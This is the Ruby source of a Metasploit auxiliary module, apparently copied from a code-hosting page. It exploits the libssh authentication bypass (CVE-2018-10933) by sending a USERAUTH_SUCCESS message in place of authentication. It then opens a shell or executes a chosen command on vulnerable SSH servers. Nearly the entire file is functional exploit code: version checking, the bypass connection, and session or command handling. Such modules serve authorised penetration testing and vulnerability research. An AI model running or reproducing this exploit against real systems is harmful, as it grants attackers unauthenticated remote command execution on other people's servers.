158 lines
5.0 KiB
Ruby
158 lines
5.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::SSH
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::CommandShell
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Sessions::CreateSessionOptions
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'libssh Authentication Bypass Scanner',
|
|
'Description' => %q{
|
|
This module exploits an authentication bypass in libssh server code
|
|
where a USERAUTH_SUCCESS message is sent in place of the expected
|
|
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
|
|
0.8.0 through 0.8.3 are vulnerable.
|
|
|
|
Note that this module's success depends on whether the server code
|
|
can trigger the correct (shell/exec) callbacks despite only the state
|
|
machine's authenticated state being set.
|
|
|
|
Therefore, you may or may not get a shell if the server requires
|
|
additional code paths to be followed.
|
|
},
|
|
'Author' => [
|
|
'Peter Winter-Smith', # Discovery
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2018-10933'],
|
|
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']
|
|
],
|
|
'DisclosureDate' => '2018-10-16',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
['Shell', 'Description' => 'Spawn a shell'],
|
|
['Execute', 'Description' => 'Execute a command']
|
|
],
|
|
'DefaultAction' => 'Shell'
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(22),
|
|
OptString.new('CMD', [false, 'Command or alternative shell']),
|
|
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
|
|
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
|
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
|
])
|
|
end
|
|
|
|
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
|
|
def check_banner(ip, version)
|
|
version =~ /libssh[_-]?([\d.]*)$/ && $1 && (v = Rex::Version.new($1))
|
|
|
|
if v.nil?
|
|
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
|
|
Exploit::CheckCode::Unknown
|
|
elsif v.to_s.empty?
|
|
vprint_warning("#{ip}:#{rport} - libssh version not reported")
|
|
Exploit::CheckCode::Detected
|
|
elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||
|
|
v.between?(Rex::Version.new('0.8.0'), Rex::Version.new('0.8.3'))
|
|
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
|
|
Exploit::CheckCode::Appears
|
|
else
|
|
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
if action.name == 'Execute' && datastore['CMD'].blank?
|
|
fail_with(Failure::BadConfig, 'Execute action requires CMD to be set')
|
|
end
|
|
|
|
ssh_opts = ssh_client_defaults.merge({
|
|
port: rport,
|
|
# The auth method is converted into a class name for instantiation,
|
|
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin
|
|
auth_methods: ['libssh-auth-bypass']
|
|
})
|
|
|
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
|
|
print_status("#{ip}:#{rport} - Attempting authentication bypass")
|
|
|
|
begin
|
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
Net::SSH.start(ip, username, ssh_opts)
|
|
end
|
|
rescue Net::SSH::Exception => e
|
|
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
|
return
|
|
end
|
|
|
|
return unless ssh
|
|
|
|
version = ssh.transport.server_version.version
|
|
|
|
# XXX: The OOB authentication leads to false positives, so check banner
|
|
if datastore['CHECK_BANNER']
|
|
return if check_banner(ip, version) !=
|
|
(Exploit::CheckCode::Appears || Exploit::CheckCode::Detected)
|
|
end
|
|
|
|
report_vuln(
|
|
host: ip,
|
|
name: self.name,
|
|
refs: self.references,
|
|
info: version
|
|
)
|
|
|
|
shell = Net::SSH::CommandStream.new(ssh, datastore['CMD'], pty: datastore['SPAWN_PTY'])
|
|
|
|
# XXX: Wait for CommandStream to log a channel request failure
|
|
sleep 0.1
|
|
|
|
if (e = shell.error)
|
|
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
|
return
|
|
end
|
|
|
|
print_status("Attempting #{action.name.inspect} Action, see \"show actions\" for more details")
|
|
case action.name
|
|
when 'Shell'
|
|
if datastore['CreateSession']
|
|
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
|
|
end
|
|
when 'Execute'
|
|
output = shell.channel && (shell.channel[:data] || '').chomp
|
|
|
|
if output.blank?
|
|
print_error("#{ip}:#{rport} - Empty or blank command output")
|
|
return
|
|
end
|
|
|
|
print_status("#{ip}:#{rport} - Executed: #{datastore['CMD']}\n#{output}")
|
|
end
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
def username
|
|
Rex::Text.rand_text_alphanumeric(8..42)
|
|
end
|
|
end
|